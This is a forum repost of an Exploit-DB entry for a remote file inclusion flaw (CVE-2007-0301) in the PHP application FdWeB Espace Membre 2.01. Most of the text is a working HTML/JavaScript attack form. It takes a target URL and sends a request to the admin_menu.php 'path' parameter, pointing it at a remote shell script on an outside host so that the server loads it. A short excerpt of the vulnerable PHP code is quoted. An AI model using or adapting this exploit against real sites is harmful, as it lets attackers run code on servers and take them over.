Exploit FdWeB Espace Membre 2.01 - 'path' Remote File Inclusion

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
3123
Проверка EDB
  1. Пройдено
Автор
AJANN
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2007-0301
Дата публикации
2007-01-13
HTML:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>FdWeB Espace Membre <= 2.01(path) Remote File Include Vulnerability</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: FdWeB Espace Membre <= 2.01(path) Remote File Include Vulnerability
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[$$         : Free
//'[Using : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'	$nom = "menu_admin.gif";
//'	$include_haut = $path."include/table_text_gh.php"; 
//'	$include_bas = $path."include/table_text_gb.php"; 
//'	include($include_haut);
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/_admin/"
   var adres="admin_menu.php?" //File name
   var acik ="path=" // Line 5
   var shell="http://kro.275mb.com/57.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">FdWeB Espace Membre <= 2.01(path) Remote File Include Vulnerability</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-01-13]
 
Источник
www.exploit-db.com